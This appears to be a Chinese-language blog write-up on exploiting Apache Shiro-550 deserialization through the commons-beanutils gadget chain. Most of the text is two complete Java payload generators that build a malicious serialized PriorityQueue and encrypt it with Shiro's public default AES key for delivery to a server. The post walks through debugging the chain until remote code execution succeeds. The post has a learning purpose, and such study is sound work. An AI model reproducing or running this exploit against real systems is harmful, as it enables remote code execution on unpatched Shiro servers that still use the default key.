在shiro-550中,是没有CC库的,上篇中的demo是为了方便展示加上去的,当去掉cc库之后,我们该怎么去打?然后这个时候就翻到了shiro自带的一个依赖库:commons-beanutils库。在说这个库之前,我们先了解一下Java中的一个规范:JavaBean(普通Java类对象)
JavaBean:如果有一个类的私有属性叫k,那就有一个读取和设置这个属性的方法,称为getter和setter,比如getK,setK。
简单了解了这个规范之后再来了解这个cb库,这个cb库有一个静态方法PropertyUtils.getProperty,可以通过这个方法直接调用上面说的getter方法,
1
| PropertyUtils.getProperty(new Cat(),"k");
|
这里会自动找到上面的getK方法,然后调用,获取返回值。同时,这个方法还支持递归获取,比如
1
| PropertyUtils.getProperty(a,"b.c");
|
然后上一节我们用的是PriorityQueue里的Comparator接口,那这里能不能也找到一个这样的接口,是有的,叫做org.apache.commons.beanutils.BeanComparator。它的compare方法的底层逻辑是这样的:你给我俩个对象和一个属性名,我去自动调用这俩个对象的getter方法获取这个属性值,然后比较大小。
而恰好之前学习字节码,TemplatesImpl中除了newTransformer能触发,还有一个getOutputProperties 也可以触发,这个正好就是getter。
利用链为:
PriorityQueue.readObject (优先队列排序) -> BeanComparator.compare (比较器提取属性) -> TemplatesImpl.getOutputProperties (自动调 Getter) -> 代码执行!
利用payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.*;
public class CB1 { public static void setValue(Object obj, String field,Object value) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); } public static void main(String[] args) throws Exception { byte[] code= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj" + "L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW" + "xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z" + "BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2" + "0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z" + "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG" + "xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu" + "amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1" + "RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv" + "cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG" + "VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA" + "FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ" + "AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA" + "AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ" + "AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE" + "sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setValue(obj,"_bytecodes",new byte[][]{ClassPool.getDefault().get(Co.class.getName()).toBytecode()}); setValue(obj,"_name","gYppSHXH"); setValue(obj,"_tfactory",new TransformerFactoryImpl()); BeanComparator comparator=new BeanComparator(); PriorityQueue queue=new PriorityQueue(2,comparator);
queue.add(1); queue.add(1);
setValue(comparator,"property","outputProperties"); setValue(queue,"queue",new Object[]{obj,obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节"); System.out.println("Base64 编码后的序列化数据:"); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); System.out.println("开始反序列化..."); ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = (Object)ois.readObject(); } }
|
当我们用这个payload生成的数据发包时,失败了,tomcat输出

这是因为序列化是有版本号验证的,我们生成payload用的cb库和shiro服务器自带的库版本号不一致,这个也很好解决,把本地依赖版本号改一下就行了,改完了之后结果还是有问题

这是因为BeanComparator构造时如果不传第三个参数,他会默认借用cc库里的ComparableComparator来做底层对比,而shiro没有完整的cc库,这就导致服务端在初始化时崩溃。

那我们就想办法找这么一个类,它:
- 有
java.util.Comparator接口
- 有
java.io.Serializable接口
- Java,shiro或者cb库自带,兼容性好
然后就找到了CaseInsensitiveComparator,它是java.lang.String下的一个内部私有类,属于是java的核心代码。这个类就是平时用来做字符串忽略大小写比较的,那现在用这个作为参数就可以了。
改了之后成功弹出计算器

然后注意queue.add的时候要把1改成字符串"1"
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.*;
public class CB1 { public static void setValue(Object obj, String field,Object value) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setValue(obj,"_bytecodes",new byte[][]{ClassPool.getDefault().get(Co.class.getName()).toBytecode()}); setValue(obj,"_name","gYppSHXH"); setValue(obj,"_tfactory",new TransformerFactoryImpl()); BeanComparator comparator=new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); PriorityQueue queue=new PriorityQueue(2,comparator);
queue.add("1"); queue.add("1");
setValue(comparator,"property","outputProperties"); setValue(queue,"queue",new Object[]{obj,obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节"); System.out.println("Base64 编码后的序列化数据:"); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); } }
|